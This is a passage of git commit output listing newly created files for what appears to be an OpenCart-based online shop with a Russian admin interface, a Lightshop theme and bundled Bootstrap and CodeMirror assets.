create mode 100644 public/admin/controller/extension/extension/report.php
create mode 100644 public/admin/controller/extension/extension/shipping.php
create mode 100644 public/admin/controller/extension/extension/theme.php
create mode 100644 public/admin/controller/extension/extension/total.php
create mode 100644 public/admin/controller/extension/feed/google_base.php
create mode 100644 public/admin/controller/extension/feed/google_sitemap.php
create mode 100644 public/admin/controller/extension/feed/google_sitemap_fast.php
create mode 100644 public/admin/controller/extension/feed/unisender.php
create mode 100644 public/admin/controller/extension/feed/yandex_market.php
create mode 100644 public/admin/controller/extension/feed/yandex_turbo.php
create mode 100644 public/admin/controller/extension/fraud/fraudlabspro.php
create mode 100644 public/admin/controller/extension/fraud/ip.php
create mode 100644 public/admin/controller/extension/fraud/maxmind.php
create mode 100644 public/admin/controller/extension/module/account.php
create mode 100644 public/admin/controller/extension/module/banner.php
create mode 100644 public/admin/controller/extension/module/bestseller.php
create mode 100644 public/admin/controller/extension/module/blog_category.php
create mode 100644 public/admin/controller/extension/module/blog_featured.php
create mode 100644 public/admin/controller/extension/module/blog_latest.php
create mode 100644 public/admin/controller/extension/module/carousel.php
create mode 100644 public/admin/controller/extension/module/category.php
create mode 100644 public/admin/controller/extension/module/featured.php
create mode 100644 public/admin/controller/extension/module/featured_article.php
create mode 100644 public/admin/controller/extension/module/featured_product.php
create mode 100644 public/admin/controller/extension/module/filter.php
create mode 100644 public/admin/controller/extension/module/html.php
create mode 100644 public/admin/controller/extension/module/information.php
create mode 100644 public/admin/controller/extension/module/latest.php
create mode 100644 public/admin/controller/extension/module/oc3x_storage_cleaner.php
create mode 100644 public/admin/controller/extension/module/slideshow.php
create mode 100644 public/admin/controller/extension/module/special.php
create mode 100644 public/admin/controller/extension/module/store.php
create mode 100644 public/admin/controller/extension/module/subcategory.php
create mode 100644 public/admin/controller/extension/module/wd_banners.php
create mode 100644 public/admin/controller/extension/payment/cod.php
create mode 100644 public/admin/controller/extension/report/customer_activity.php
create mode 100644 public/admin/controller/extension/report/customer_order.php
create mode 100644 public/admin/controller/extension/report/customer_reward.php
create mode 100644 public/admin/controller/extension/report/customer_search.php
create mode 100644 public/admin/controller/extension/report/customer_transaction.php
create mode 100644 public/admin/controller/extension/report/marketing.php
create mode 100644 public/admin/controller/extension/report/product_purchased.php
create mode 100644 public/admin/controller/extension/report/product_viewed.php
create mode 100644 public/admin/controller/extension/report/sale_coupon.php
create mode 100644 public/admin/controller/extension/report/sale_order.php
create mode 100644 public/admin/controller/extension/report/sale_return.php
create mode 100644 public/admin/controller/extension/report/sale_shipping.php
create mode 100644 public/admin/controller/extension/report/sale_tax.php
create mode 100644 public/admin/controller/extension/shipping/flat.php
create mode 100644 public/admin/controller/extension/theme/default.php
create mode 100644 public/admin/controller/extension/theme/dominik.php
create mode 100644 public/admin/controller/extension/total/coupon.php
create mode 100644 public/admin/controller/extension/total/credit.php
create mode 100644 public/admin/controller/extension/total/handling.php
create mode 100644 public/admin/controller/extension/total/lightshopsets.php
create mode 100644 public/admin/controller/extension/total/low_order_fee.php
create mode 100644 public/admin/controller/extension/total/reward.php
create mode 100644 public/admin/controller/extension/total/shipping.php
create mode 100644 public/admin/controller/extension/total/sub_total.php
create mode 100644 public/admin/controller/extension/total/tax.php
create mode 100644 public/admin/controller/extension/total/total.php
create mode 100644 public/admin/controller/extension/total/voucher.php
create mode 100644 public/admin/controller/localisation/country.php
create mode 100644 public/admin/controller/localisation/currency.php
create mode 100644 public/admin/controller/localisation/geo_zone.php
create mode 100644 public/admin/controller/localisation/language.php
create mode 100644 public/admin/controller/localisation/length_class.php
create mode 100644 public/admin/controller/localisation/location.php
create mode 100644 public/admin/controller/localisation/order_status.php
create mode 100644 public/admin/controller/localisation/return_action.php
create mode 100644 public/admin/controller/localisation/return_reason.php
create mode 100644 public/admin/controller/localisation/return_status.php
create mode 100644 public/admin/controller/localisation/stock_status.php
create mode 100644 public/admin/controller/localisation/tax_class.php
create mode 100644 public/admin/controller/localisation/tax_rate.php
create mode 100644 public/admin/controller/localisation/weight_class.php
create mode 100644 public/admin/controller/localisation/zone.php
create mode 100644 public/admin/controller/mail/affiliate.php
create mode 100644 public/admin/controller/mail/customer.php
create mode 100644 public/admin/controller/mail/forgotten.php
create mode 100644 public/admin/controller/mail/return.php
create mode 100644 public/admin/controller/mail/reward.php
create mode 100644 public/admin/controller/mail/transaction.php
create mode 100644 public/admin/controller/marketing/contact.php
create mode 100644 public/admin/controller/marketing/coupon.php
create mode 100644 public/admin/controller/marketing/marketing.php
create mode 100644 public/admin/controller/marketplace/api.php
create mode 100644 public/admin/controller/marketplace/event.php
create mode 100644 public/admin/controller/marketplace/extension.php
create mode 100644 public/admin/controller/marketplace/install.php
create mode 100644 public/admin/controller/marketplace/installer.php
create mode 100644 public/admin/controller/marketplace/modification.php
create mode 100644 public/admin/controller/marketplace/promotion.php
create mode 100644 public/admin/controller/report/online.php
create mode 100644 public/admin/controller/report/report.php
create mode 100644 public/admin/controller/report/statistics.php
create mode 100644 public/admin/controller/sale/order.php
create mode 100644 public/admin/controller/sale/recurring.php
create mode 100644 public/admin/controller/sale/return.php
create mode 100644 public/admin/controller/sale/voucher.php
create mode 100644 public/admin/controller/sale/voucher_theme.php
create mode 100644 public/admin/controller/search/search.php
create mode 100644 public/admin/controller/service/service.php
create mode 100644 public/admin/controller/setting/setting.php
create mode 100644 public/admin/controller/setting/store.php
create mode 100644 public/admin/controller/startup/error.php
create mode 100644 public/admin/controller/startup/event.php
create mode 100644 public/admin/controller/startup/login.php
create mode 100644 public/admin/controller/startup/permission.php
create mode 100644 public/admin/controller/startup/router.php
create mode 100644 public/admin/controller/startup/startup.php
create mode 100644 public/admin/controller/tool/backup.php
create mode 100644 public/admin/controller/tool/log.php
create mode 100644 public/admin/controller/tool/upload.php
create mode 100644 public/admin/controller/user/api.php
create mode 100644 public/admin/controller/user/user.php
create mode 100644 public/admin/controller/user/user_permission.php
create mode 100644 public/admin/index.php
create mode 100644 public/admin/language/.htaccess
create mode 100644 public/admin/language/ru-ru/blog/article.php
create mode 100644 public/admin/language/ru-ru/blog/category.php
create mode 100644 public/admin/language/ru-ru/blog/review.php
create mode 100644 public/admin/language/ru-ru/blog/setting.php
create mode 100644 public/admin/language/ru-ru/catalog/attribute.php
create mode 100644 public/admin/language/ru-ru/catalog/attribute_group.php
create mode 100644 public/admin/language/ru-ru/catalog/category.php
create mode 100644 public/admin/language/ru-ru/catalog/download.php
create mode 100644 public/admin/language/ru-ru/catalog/filter.php
create mode 100644 public/admin/language/ru-ru/catalog/information.php
create mode 100644 public/admin/language/ru-ru/catalog/manufacturer.php
create mode 100644 public/admin/language/ru-ru/catalog/option.php
create mode 100644 public/admin/language/ru-ru/catalog/product.php
create mode 100644 public/admin/language/ru-ru/catalog/recurring.php
create mode 100644 public/admin/language/ru-ru/catalog/review.php
create mode 100644 public/admin/language/ru-ru/common/column_left.php
create mode 100644 public/admin/language/ru-ru/common/dashboard.php
create mode 100644 public/admin/language/ru-ru/common/developer.php
create mode 100644 public/admin/language/ru-ru/common/filemanager.php
create mode 100644 public/admin/language/ru-ru/common/footer.php
create mode 100644 public/admin/language/ru-ru/common/forgotten.php
create mode 100644 public/admin/language/ru-ru/common/header.php
create mode 100644 public/admin/language/ru-ru/common/login.php
create mode 100644 public/admin/language/ru-ru/common/profile.php
create mode 100644 public/admin/language/ru-ru/common/reset.php
create mode 100644 public/admin/language/ru-ru/common/security.php
create mode 100644 public/admin/language/ru-ru/common/stats.php
create mode 100644 public/admin/language/ru-ru/customer/custom_field.php
create mode 100644 public/admin/language/ru-ru/customer/customer.php
create mode 100644 public/admin/language/ru-ru/customer/customer_approval.php
create mode 100644 public/admin/language/ru-ru/customer/customer_group.php
create mode 100644 public/admin/language/ru-ru/design/banner.php
create mode 100644 public/admin/language/ru-ru/design/benefit.php
create mode 100644 public/admin/language/ru-ru/design/custommenu.php
create mode 100644 public/admin/language/ru-ru/design/language.php
create mode 100644 public/admin/language/ru-ru/design/layout.php
create mode 100644 public/admin/language/ru-ru/design/menu.php
create mode 100644 public/admin/language/ru-ru/design/seo_url.php
create mode 100644 public/admin/language/ru-ru/design/sticker.php
create mode 100644 public/admin/language/ru-ru/design/theme.php
create mode 100644 public/admin/language/ru-ru/design/translation.php
create mode 100644 public/admin/language/ru-ru/error/not_found.php
create mode 100644 public/admin/language/ru-ru/error/permission.php
create mode 100644 public/admin/language/ru-ru/extension/advertise/google.php
create mode 100644 public/admin/language/ru-ru/extension/analytics/google.php
create mode 100644 public/admin/language/ru-ru/extension/analytics/google_analytics.php
create mode 100644 public/admin/language/ru-ru/extension/analytics/yandex_metrika.php
create mode 100644 public/admin/language/ru-ru/extension/captcha/basic.php
create mode 100644 public/admin/language/ru-ru/extension/captcha/google.php
create mode 100644 public/admin/language/ru-ru/extension/currency/cbr.php
create mode 100644 public/admin/language/ru-ru/extension/currency/ecb.php
create mode 100644 public/admin/language/ru-ru/extension/currency/fixer.php
create mode 100644 public/admin/language/ru-ru/extension/currency/nbu.php
create mode 100644 public/admin/language/ru-ru/extension/dashboard/activity.php
create mode 100644 public/admin/language/ru-ru/extension/dashboard/chart.php
create mode 100644 public/admin/language/ru-ru/extension/dashboard/customer.php
create mode 100644 public/admin/language/ru-ru/extension/dashboard/domovoy.php
create mode 100644 public/admin/language/ru-ru/extension/dashboard/map.php
create mode 100644 public/admin/language/ru-ru/extension/dashboard/online.php
create mode 100644 public/admin/language/ru-ru/extension/dashboard/order.php
create mode 100644 public/admin/language/ru-ru/extension/dashboard/recent.php
create mode 100644 public/admin/language/ru-ru/extension/dashboard/sale.php
create mode 100644 public/admin/language/ru-ru/extension/event.php
create mode 100644 public/admin/language/ru-ru/extension/extension.php
create mode 100644 public/admin/language/ru-ru/extension/extension/advertise.php
create mode 100644 public/admin/language/ru-ru/extension/extension/analytics.php
create mode 100644 public/admin/language/ru-ru/extension/extension/captcha.php
create mode 100644 public/admin/language/ru-ru/extension/extension/currency.php
create mode 100644 public/admin/language/ru-ru/extension/extension/dashboard.php
create mode 100644 public/admin/language/ru-ru/extension/extension/feed.php
create mode 100644 public/admin/language/ru-ru/extension/extension/fraud.php
create mode 100644 public/admin/language/ru-ru/extension/extension/marketing.php
create mode 100644 public/admin/language/ru-ru/extension/extension/menu.php
create mode 100644 public/admin/language/ru-ru/extension/extension/module.php
create mode 100644 public/admin/language/ru-ru/extension/extension/openbay.php
create mode 100644 public/admin/language/ru-ru/extension/extension/other.php
create mode 100644 public/admin/language/ru-ru/extension/extension/payment.php
create mode 100644 public/admin/language/ru-ru/extension/extension/report.php
create mode 100644 public/admin/language/ru-ru/extension/extension/shipping.php
create mode 100644 public/admin/language/ru-ru/extension/extension/theme.php
create mode 100644 public/admin/language/ru-ru/extension/extension/total.php
create mode 100644 public/admin/language/ru-ru/extension/feed/google_base.php
create mode 100644 public/admin/language/ru-ru/extension/feed/google_sitemap.php
create mode 100644 public/admin/language/ru-ru/extension/feed/google_sitemap_fast.php
create mode 100644 public/admin/language/ru-ru/extension/feed/openbaypro.php
create mode 100644 public/admin/language/ru-ru/extension/feed/unisender.php
create mode 100644 public/admin/language/ru-ru/extension/feed/yandex_market.php
create mode 100644 public/admin/language/ru-ru/extension/feed/yandex_turbo.php
create mode 100644 public/admin/language/ru-ru/extension/fraud/fraudlabspro.php
create mode 100644 public/admin/language/ru-ru/extension/fraud/ip.php
create mode 100644 public/admin/language/ru-ru/extension/fraud/maxmind.php
create mode 100644 public/admin/language/ru-ru/extension/installer.php
create mode 100644 public/admin/language/ru-ru/extension/menu/default.php
create mode 100644 public/admin/language/ru-ru/extension/modification.php
create mode 100644 public/admin/language/ru-ru/extension/module/account.php
create mode 100644 public/admin/language/ru-ru/extension/module/affiliate.php
create mode 100644 public/admin/language/ru-ru/extension/module/banner.php
create mode 100644 public/admin/language/ru-ru/extension/module/bestseller.php
create mode 100644 public/admin/language/ru-ru/extension/module/blog_category.php
create mode 100644 public/admin/language/ru-ru/extension/module/blog_featured.php
create mode 100644 public/admin/language/ru-ru/extension/module/blog_latest.php
create mode 100644 public/admin/language/ru-ru/extension/module/carousel.php
create mode 100644 public/admin/language/ru-ru/extension/module/category.php
create mode 100644 public/admin/language/ru-ru/extension/module/category4level.php
create mode 100644 public/admin/language/ru-ru/extension/module/ebay_listing.php
create mode 100644 public/admin/language/ru-ru/extension/module/featured.php
create mode 100644 public/admin/language/ru-ru/extension/module/featured_article.php
create mode 100644 public/admin/language/ru-ru/extension/module/featured_product.php
create mode 100644 public/admin/language/ru-ru/extension/module/filter.php
create mode 100644 public/admin/language/ru-ru/extension/module/html.php
create mode 100644 public/admin/language/ru-ru/extension/module/imgcategory.php
create mode 100644 public/admin/language/ru-ru/extension/module/information.php
create mode 100644 public/admin/language/ru-ru/extension/module/latest.php
create mode 100644 public/admin/language/ru-ru/extension/module/manufacturer.php
create mode 100644 public/admin/language/ru-ru/extension/module/oc3x_storage_cleaner.php
create mode 100644 public/admin/language/ru-ru/extension/module/popular.php
create mode 100644 public/admin/language/ru-ru/extension/module/pp_button.php
create mode 100644 public/admin/language/ru-ru/extension/module/pp_login.php
create mode 100644 public/admin/language/ru-ru/extension/module/product_tab.php
create mode 100644 public/admin/language/ru-ru/extension/module/slideshow.php
create mode 100644 public/admin/language/ru-ru/extension/module/special.php
create mode 100644 public/admin/language/ru-ru/extension/module/store.php
create mode 100644 public/admin/language/ru-ru/extension/module/subcategory.php
create mode 100644 public/admin/language/ru-ru/extension/module/subscribe.php
create mode 100644 public/admin/language/ru-ru/extension/module/wd_banners.php
create mode 100644 public/admin/language/ru-ru/extension/openbay.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazon.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazon_bulk_linking.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazon_bulk_listing.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazon_links.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazon_listing.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazon_listingsaved.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazon_settings.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazon_stockupdates.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazon_subscription.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazonus.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazonus_bulk_linking.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazonus_bulk_listing.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazonus_links.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazonus_listing.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazonus_listingsaved.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazonus_settings.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazonus_stockupdates.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/amazonus_subscription.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_edit.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_import.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_links.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_new.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_newbulk.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_orders.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_profile.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_settings.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_subscription.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_summary.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_syncronise.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_template.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/ebay_usage.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/etsy.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/etsy_create.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/etsy_edit.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/etsy_links.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/etsy_listings.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/etsy_settings.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/fba.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/fba_fulfillment.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/fba_fulfillment_list.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/fba_order.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/fba_settings.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/openbay_itemlist.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/openbay_menu.php
create mode 100644 public/admin/language/ru-ru/extension/openbay/openbay_order.php
create mode 100644 public/admin/language/ru-ru/extension/payment/cod.php
create mode 100644 public/admin/language/ru-ru/extension/report/customer_activity.php
create mode 100644 public/admin/language/ru-ru/extension/report/customer_order.php
create mode 100644 public/admin/language/ru-ru/extension/report/customer_reward.php
create mode 100644 public/admin/language/ru-ru/extension/report/customer_search.php
create mode 100644 public/admin/language/ru-ru/extension/report/customer_transaction.php
create mode 100644 public/admin/language/ru-ru/extension/report/marketing.php
create mode 100644 public/admin/language/ru-ru/extension/report/product_purchased.php
create mode 100644 public/admin/language/ru-ru/extension/report/product_viewed.php
create mode 100644 public/admin/language/ru-ru/extension/report/sale_coupon.php
create mode 100644 public/admin/language/ru-ru/extension/report/sale_order.php
create mode 100644 public/admin/language/ru-ru/extension/report/sale_return.php
create mode 100644 public/admin/language/ru-ru/extension/report/sale_shipping.php
create mode 100644 public/admin/language/ru-ru/extension/report/sale_tax.php
create mode 100644 public/admin/language/ru-ru/extension/shipping/flat.php
create mode 100644 public/admin/language/ru-ru/extension/store.php
create mode 100644 public/admin/language/ru-ru/extension/theme/default.php
create mode 100644 public/admin/language/ru-ru/extension/theme/dominik.php
create mode 100644 public/admin/language/ru-ru/extension/theme/lightshop.php
create mode 100644 public/admin/language/ru-ru/extension/theme/theme_default.php
create mode 100644 public/admin/language/ru-ru/extension/theme/theme_lightshop_ol.php
create mode 100644 public/admin/language/ru-ru/extension/total/coupon.php
create mode 100644 public/admin/language/ru-ru/extension/total/credit.php
create mode 100644 public/admin/language/ru-ru/extension/total/handling.php
create mode 100644 public/admin/language/ru-ru/extension/total/lightshopsets.php
create mode 100644 public/admin/language/ru-ru/extension/total/low_order_fee.php
create mode 100644 public/admin/language/ru-ru/extension/total/reward.php
create mode 100644 public/admin/language/ru-ru/extension/total/shipping.php
create mode 100644 public/admin/language/ru-ru/extension/total/sub_total.php
create mode 100644 public/admin/language/ru-ru/extension/total/tax.php
create mode 100644 public/admin/language/ru-ru/extension/total/total.php
create mode 100644 public/admin/language/ru-ru/extension/total/voucher.php
create mode 100644 public/admin/language/ru-ru/extension/user/user_group.php
create mode 100644 public/admin/language/ru-ru/localisation/country.php
create mode 100644 public/admin/language/ru-ru/localisation/currency.php
create mode 100644 public/admin/language/ru-ru/localisation/geo_zone.php
create mode 100644 public/admin/language/ru-ru/localisation/language.php
create mode 100644 public/admin/language/ru-ru/localisation/length_class.php
create mode 100644 public/admin/language/ru-ru/localisation/location.php
create mode 100644 public/admin/language/ru-ru/localisation/order_status.php
create mode 100644 public/admin/language/ru-ru/localisation/return_action.php
create mode 100644 public/admin/language/ru-ru/localisation/return_reason.php
create mode 100644 public/admin/language/ru-ru/localisation/return_status.php
create mode 100644 public/admin/language/ru-ru/localisation/stock_status.php
create mode 100644 public/admin/language/ru-ru/localisation/tax_class.php
create mode 100644 public/admin/language/ru-ru/localisation/tax_rate.php
create mode 100644 public/admin/language/ru-ru/localisation/weight_class.php
create mode 100644 public/admin/language/ru-ru/localisation/zone.php
create mode 100644 public/admin/language/ru-ru/mail/affiliate_approve.php
create mode 100644 public/admin/language/ru-ru/mail/affiliate_deny.php
create mode 100644 public/admin/language/ru-ru/mail/customer_approve.php
create mode 100644 public/admin/language/ru-ru/mail/customer_deny.php
create mode 100644 public/admin/language/ru-ru/mail/forgotten.php
create mode 100644 public/admin/language/ru-ru/mail/return.php
create mode 100644 public/admin/language/ru-ru/mail/reward.php
create mode 100644 public/admin/language/ru-ru/mail/voucher.php
create mode 100644 public/admin/language/ru-ru/marketing/affiliate.php
create mode 100644 public/admin/language/ru-ru/marketing/contact.php
create mode 100644 public/admin/language/ru-ru/marketing/coupon.php
create mode 100644 public/admin/language/ru-ru/marketing/marketing.php
create mode 100644 public/admin/language/ru-ru/marketplace/api.php
create mode 100644 public/admin/language/ru-ru/marketplace/event.php
create mode 100644 public/admin/language/ru-ru/marketplace/extension.php
create mode 100644 public/admin/language/ru-ru/marketplace/install.php
create mode 100644 public/admin/language/ru-ru/marketplace/installer.php
create mode 100644 public/admin/language/ru-ru/marketplace/modification.php
create mode 100644 public/admin/language/ru-ru/marketplace/openbay.php
create mode 100644 public/admin/language/ru-ru/report/online.php
create mode 100644 public/admin/language/ru-ru/report/report.php
create mode 100644 public/admin/language/ru-ru/report/statistics.php
create mode 100644 public/admin/language/ru-ru/ru-ru.php
create mode 100644 public/admin/language/ru-ru/ru-ru.png
create mode 100644 public/admin/language/ru-ru/sale/order.php
create mode 100644 public/admin/language/ru-ru/sale/recurring.php
create mode 100644 public/admin/language/ru-ru/sale/return.php
create mode 100644 public/admin/language/ru-ru/sale/voucher.php
create mode 100644 public/admin/language/ru-ru/sale/voucher_theme.php
create mode 100644 public/admin/language/ru-ru/search/search.php
create mode 100644 public/admin/language/ru-ru/service/service.php
create mode 100644 public/admin/language/ru-ru/setting/setting.php
create mode 100644 public/admin/language/ru-ru/setting/store.php
create mode 100644 public/admin/language/ru-ru/tool/backup.php
create mode 100644 public/admin/language/ru-ru/tool/log.php
create mode 100644 public/admin/language/ru-ru/tool/seomanager.php
create mode 100644 public/admin/language/ru-ru/tool/upload.php
create mode 100644 public/admin/language/ru-ru/user/api.php
create mode 100644 public/admin/language/ru-ru/user/user.php
create mode 100644 public/admin/language/ru-ru/user/user_group.php
create mode 100644 public/admin/model/blog/article.php
create mode 100644 public/admin/model/blog/category.php
create mode 100644 public/admin/model/blog/review.php
create mode 100644 public/admin/model/catalog/attribute.php
create mode 100644 public/admin/model/catalog/attribute_group.php
create mode 100644 public/admin/model/catalog/category.php
create mode 100644 public/admin/model/catalog/download.php
create mode 100644 public/admin/model/catalog/filter.php
create mode 100644 public/admin/model/catalog/information.php
create mode 100644 public/admin/model/catalog/manufacturer.php
create mode 100644 public/admin/model/catalog/option.php
create mode 100644 public/admin/model/catalog/product.php
create mode 100644 public/admin/model/catalog/recurring.php
create mode 100644 public/admin/model/catalog/review.php
create mode 100644 public/admin/model/customer/custom_field.php
create mode 100644 public/admin/model/customer/customer.php
create mode 100644 public/admin/model/customer/customer_approval.php
create mode 100644 public/admin/model/customer/customer_group.php
create mode 100644 public/admin/model/design/banner.php
create mode 100644 public/admin/model/design/layout.php
create mode 100644 public/admin/model/design/seo_url.php
create mode 100644 public/admin/model/design/theme.php
create mode 100644 public/admin/model/design/translation.php
create mode 100644 public/admin/model/extension/advertise/google.php
create mode 100644 public/admin/model/extension/dashboard/activity.php
create mode 100644 public/admin/model/extension/dashboard/chart.php
create mode 100644 public/admin/model/extension/dashboard/map.php
create mode 100644 public/admin/model/extension/dashboard/online.php
create mode 100644 public/admin/model/extension/dashboard/sale.php
create mode 100644 public/admin/model/extension/export_import.php
create mode 100644 public/admin/model/extension/feed/google_base.php
create mode 100644 public/admin/model/extension/fraud/fraudlabspro.php
create mode 100644 public/admin/model/extension/fraud/ip.php
create mode 100644 public/admin/model/extension/fraud/maxmind.php
create mode 100644 public/admin/model/extension/module/oc3x_storage_cleaner.php
create mode 100644 public/admin/model/extension/report/activity.php
create mode 100644 public/admin/model/extension/report/coupon.php
create mode 100644 public/admin/model/extension/report/customer.php
create mode 100644 public/admin/model/extension/report/customer_transaction.php
create mode 100644 public/admin/model/extension/report/marketing.php
create mode 100644 public/admin/model/extension/report/product.php
create mode 100644 public/admin/model/extension/report/return.php
create mode 100644 public/admin/model/extension/report/sale.php
create mode 100644 public/admin/model/extension/theme/callback.php
create mode 100644 public/admin/model/extension/theme/lightshop.php
create mode 100644 public/admin/model/extension/theme/lightshopblog.php
create mode 100644 public/admin/model/extension/theme/lightshopblogreview.php
create mode 100644 public/admin/model/extension/theme/lightshopcatblog.php
create mode 100644 public/admin/model/extension/theme/lightshopnews.php
create mode 100644 public/admin/model/extension/theme/lightshopsets.php
create mode 100644 public/admin/model/extension/theme/subscribe.php
create mode 100644 public/admin/model/localisation/country.php
create mode 100644 public/admin/model/localisation/currency.php
create mode 100644 public/admin/model/localisation/geo_zone.php
create mode 100644 public/admin/model/localisation/language.php
create mode 100644 public/admin/model/localisation/length_class.php
create mode 100644 public/admin/model/localisation/location.php
create mode 100644 public/admin/model/localisation/order_status.php
create mode 100644 public/admin/model/localisation/return_action.php
create mode 100644 public/admin/model/localisation/return_reason.php
create mode 100644 public/admin/model/localisation/return_status.php
create mode 100644 public/admin/model/localisation/stock_status.php
create mode 100644 public/admin/model/localisation/tax_class.php
create mode 100644 public/admin/model/localisation/tax_rate.php
create mode 100644 public/admin/model/localisation/weight_class.php
create mode 100644 public/admin/model/localisation/zone.php
create mode 100644 public/admin/model/marketing/coupon.php
create mode 100644 public/admin/model/marketing/marketing.php
create mode 100644 public/admin/model/report/online.php
create mode 100644 public/admin/model/report/statistics.php
create mode 100644 public/admin/model/sale/order.php
create mode 100644 public/admin/model/sale/recurring.php
create mode 100644 public/admin/model/sale/return.php
create mode 100644 public/admin/model/sale/voucher.php
create mode 100644 public/admin/model/sale/voucher_theme.php
create mode 100644 public/admin/model/search/search.php
create mode 100644 public/admin/model/service/service.php
create mode 100644 public/admin/model/setting/event.php
create mode 100644 public/admin/model/setting/extension.php
create mode 100644 public/admin/model/setting/modification.php
create mode 100644 public/admin/model/setting/module.php
create mode 100644 public/admin/model/setting/setting.php
create mode 100644 public/admin/model/setting/store.php
create mode 100644 public/admin/model/tool/backup.php
create mode 100644 public/admin/model/tool/image.php
create mode 100644 public/admin/model/tool/upload.php
create mode 100644 public/admin/model/user/api.php
create mode 100644 public/admin/model/user/user.php
create mode 100644 public/admin/model/user/user_group.php
create mode 100644 public/admin/view/image/advertise/google/ad-preview.png
create mode 100644 public/admin/view/image/checkmark.png
create mode 100644 public/admin/view/image/export-import/loading.gif
create mode 100644 public/admin/view/image/lightshop/catalog-type1.png
create mode 100644 public/admin/view/image/lightshop/catalog-type2.png
create mode 100644 public/admin/view/image/lightshop/footer-type-1.png
create mode 100644 public/admin/view/image/lightshop/footer-type-2.png
create mode 100644 public/admin/view/image/lightshop/header-type-1.png
create mode 100644 public/admin/view/image/lightshop/header-type-2.png
create mode 100644 public/admin/view/image/lightshop/header-type-3.png
create mode 100644 public/admin/view/image/lightshop/lightshop-logo.png
create mode 100644 public/admin/view/image/loader-search.gif
create mode 100644 public/admin/view/image/logo.png
create mode 100644 public/admin/view/javascript/bootstrap/css/bootstrap-theme.css
create mode 100644 public/admin/view/javascript/bootstrap/css/bootstrap-theme.css.map
create mode 100644 public/admin/view/javascript/bootstrap/css/bootstrap-theme.min.css
create mode 100644 public/admin/view/javascript/bootstrap/css/bootstrap.css
create mode 100644 public/admin/view/javascript/bootstrap/css/bootstrap.css.map
create mode 100644 public/admin/view/javascript/bootstrap/css/bootstrap.min.css
create mode 100644 public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.eot
create mode 100644 public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.svg
create mode 100644 public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.ttf
create mode 100644 public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.woff
create mode 100644 public/admin/view/javascript/bootstrap/fonts/glyphicons-halflings-regular.woff2
create mode 100644 public/admin/view/javascript/bootstrap/js/bootstrap.js
create mode 100644 public/admin/view/javascript/bootstrap/js/bootstrap.min.js
create mode 100644 public/admin/view/javascript/bootstrap/js/npm.js
create mode 100644 public/admin/view/javascript/codemirror-dle/css/default.css
create mode 100644 public/admin/view/javascript/codemirror-dle/js/LICENSE
create mode 100644 public/admin/view/javascript/codemirror-dle/js/code.js
create mode 100644 public/admin/view/javascript/codemirror-froala/css/default.css
create mode 100644 public/admin/view/javascript/codemirror-froala/js/LICENSE
create mode 100644 public/admin/view/javascript/codemirror-froala/js/code.js
create mode 100644 public/admin/view/javascript/codemirror/lib/codemirror.css
create mode 100644 public/admin/view/javascript/codemirror/lib/codemirror.js
create mode 100644 public/admin/view/javascript/codemirror/lib/formatting.js
create mode 100644 public/admin/view/javascript/codemirror/lib/xml.js
create mode 100644 public/admin/view/javascript/codemirror/theme/3024-day.css
create mode 100644 public/admin/view/javascript/codemirror/theme/3024-night.css
create mode 100644 public/admin/view/javascript/codemirror/theme/abcdef.css
create mode 100644 public/admin/view/javascript/codemirror/theme/ambiance-mobile.css
create mode 100644 public/admin/view/javascript/codemirror/theme/ambiance.css
create mode 100644 public/admin/view/javascript/codemirror/theme/base16-dark.css
create mode 100644 public/admin/view/javascript/codemirror/theme/base16-light.css
create mode 100644 public/admin/view/javascript/codemirror/theme/bespin.css
create mode 100644 public/admin/view/javascript/codemirror/theme/blackboard.css
create mode 100644 public/admin/view/javascript/codemirror/theme/cobalt.css
create mode 100644 public/admin/view/javascript/codemirror/theme/colorforth.css
create mode 100644 public/admin/view/javascript/codemirror/theme/dracula.css
create mode 100644 public/admin/view/javascript/codemirror/theme/eclipse.css
